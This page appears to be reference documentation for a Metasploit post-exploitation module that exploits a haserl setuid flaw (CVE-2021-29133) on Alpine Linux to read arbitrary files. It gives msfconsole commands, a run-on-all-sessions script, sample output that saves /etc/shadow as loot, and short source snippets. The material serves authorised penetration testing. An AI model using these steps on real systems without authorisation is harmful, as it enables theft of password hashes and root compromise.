Haserl Arbitrary File Reader - Metasploit


This page contains detailed information about how to use the post/linux/gather/haserl_read metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview


Name: Haserl Arbitrary File Reader
Module: post/linux/gather/haserl_read
Source code: modules/post/linux/gather/haserl_read.rb
Disclosure date: -
Last modification time: 2021-04-09 13:23:05 +0000
Supported architecture(s): -
Supported platform(s): Linux
Target service / protocol: -
Target network port(s): -
List of CVEs: CVE-2021-29133

This module exploits haserl prior to 0.9.36 to read arbitrary files. The most widely accepted exploitation vector is reading /etc/shadow, which will reveal root's hash for cracking.

Module Ranking and Traits


Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage


There are two ways to execute this post module.

From the Meterpreter prompt

The first is by using the "run" command at the Meterpreter prompt. It allows you to run the post module against that specific session:

meterpreter > run post/linux/gather/haserl_read

From the msf prompt

The second is by using the "use" command at the msf prompt. You will have to figure out which session ID to set manually. To list all session IDs, you can use the "sessions" command.

msf > use post/linux/gather/haserl_read
msf post(haserl_read) > show options
    ... show and set options ...
msf post(haserl_read) > set SESSION session-id
msf post(haserl_read) > exploit

If you wish to run the post against all sessions from framework, here is how:

1 - Create the following resource script:


framework.sessions.each_pair do |sid, session|
  run_single("use post/linux/gather/haserl_read")
  run_single("set SESSION #{sid}")
  run_single("run")
end

2 - At the msf prompt, execute the above resource script:

msf > resource path-to-resource-script

Required Options


  • SESSION: The session to run this module on.

Knowledge Base


Vulnerable Application


Haserl is an unmaintained tool to use LUA as CGI in web servers. On Linux, when haserl is suid root, it will attempt to drop its privilege to the uid/gid of the owner of the cgi script, similar to suexec in Apache.

Haserl could have been a thing of the past, but it's used in Alpine Linux' Alpine Configuration Framework, which is commonly used on this distribution.

This module exploits the fact that calling haserl on a file will make it not only change the effective UID, but also display the content of the file.

This has been fixed in version 0.9.36.

Prerequisites

  1. Install Alpine Linux
  2. Install haserl

Verification Steps


  1. Start msfconsole
  2. Get a shell
  3. Do: use post/linux/gather/haserl_read
  4. Set SESSION
  5. Do: run or exploit
  6. Verify that the file was successfully downloaded

Options


RFILE

Remote file to download, defaults to /etc/shadow.

Scenarios


msf6 > use post/linux/gather/haserl_read 
msf6 post(linux/gather/haserl_read) > show options 

Module options (post/linux/gather/haserl_read):

   Name     Current Setting         Required  Description
   ----     ---------------         --------  -----------
   RFILE    /etc/shadow             yes       File to read
   SESSION  1                       yes       The session to run this module on.

msf6 post(linux/gather/haserl_read) > run

[!] SESSION may not be compatible with this module.
[+] Found set-uid haserl: /usr/bin/haserl-lua53
[+] Shadow saved in: /home/user/.msf4/loot/20210301204020_default_192.168.138.113_haserl_shadow_107368.txt
[*] Post module execution completed
msf6 post(linux/gather/haserl_read) >

Reference


  1. https://twitter.com/steaIth/status/1364940271054712842

Go back to menu.

Msfconsole Usage


Here is how the linux/gather/haserl_read post exploitation module looks in the msfconsole:

msf6 > use post/linux/gather/haserl_read

msf6 post(linux/gather/haserl_read) > show info

       Name: Haserl Arbitrary File Reader
     Module: post/linux/gather/haserl_read
   Platform: Linux
       Arch: 
       Rank: Normal

Provided by:
  Julien (jvoisin) Voisin
  Ike Broflovski

Compatible session types:
  Meterpreter
  Shell

Basic options:
  Name     Current Setting  Required  Description
  ----     ---------------  --------  -----------
  RFILE    /etc/shadow      yes       File to read
  SESSION                   yes       The session to run this module on.

Description:
  This module exploits haserl prior to 0.9.36 to read arbitrary files. 
  The most widely accepted exploitation vector is reading /etc/shadow, 
  which will reveal root's hash for cracking.

References:
  https://twitter.com/steaIth/status/1364940271054712842
  https://gitlab.alpinelinux.org/alpine/aports/-/issues/12539
  https://nvd.nist.gov/vuln/detail/CVE-2021-29133

Module Options


This is a complete list of options available in the linux/gather/haserl_read post exploitation module:

msf6 post(linux/gather/haserl_read) > show options

Module options (post/linux/gather/haserl_read):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   RFILE    /etc/shadow      yes       File to read
   SESSION                   yes       The session to run this module on.

Advanced Options


Here is a complete list of advanced options supported by the linux/gather/haserl_read post exploitation module:

msf6 post(linux/gather/haserl_read) > show advanced

Module advanced options (post/linux/gather/haserl_read):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   VERBOSE    false            no        Enable detailed status messages
   WORKSPACE                   no        Specify the workspace for this module

Post Actions


This is a list of all post exploitation actions which the linux/gather/haserl_read module can do:

msf6 post(linux/gather/haserl_read) > show actions

Post actions:

   Name  Description
   ----  -----------

Evasion Options


Here is the full list of possible evasion options supported by the linux/gather/haserl_read post exploitation module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 post(linux/gather/haserl_read) > show evasion

Module evasion options:

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------

Go back to menu.

Error Messages


This module may fail with the following error messages:

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

Session already has root privileges


Here is a relevant code snippet related to the "Session already has root privileges" error message:

48:	    return files.select { |f| File.basename(f).starts_with?('haserl-lua') }
49:	  end
50:	
51:	  def run
52:	    if is_root?
53:	      fail_with(Failure::BadConfig, 'Session already has root privileges')
54:	    end
55:	
56:	    files = haserl_lua_paths
57:	
58:	    if files.nil? || files.empty?

Could not find setuid haserl lua executable in /usr/bin/


Here is a relevant code snippet related to the "Could not find setuid haserl lua executable in /usr/bin/" error message:

54:	    end
55:	
56:	    files = haserl_lua_paths
57:	
58:	    if files.nil? || files.empty?
59:	      fail_with(Failure::NotVulnerable, 'Could not find setuid haserl lua executable in /usr/bin/')
60:	    end
61:	
62:	    binary = files.first
63:	
64:	    print_good("Found set-uid haserl: #{binary}")

Go back to menu.


References


See Also


Check also the following modules related to this module:

Authors


  • Julien (jvoisin) Voisin
  • Ike Broflovski

Version


This page has been produced using Metasploit Framework version 6.2.26-dev. For more modules, visit the Metasploit Module Library.

Go back to menu.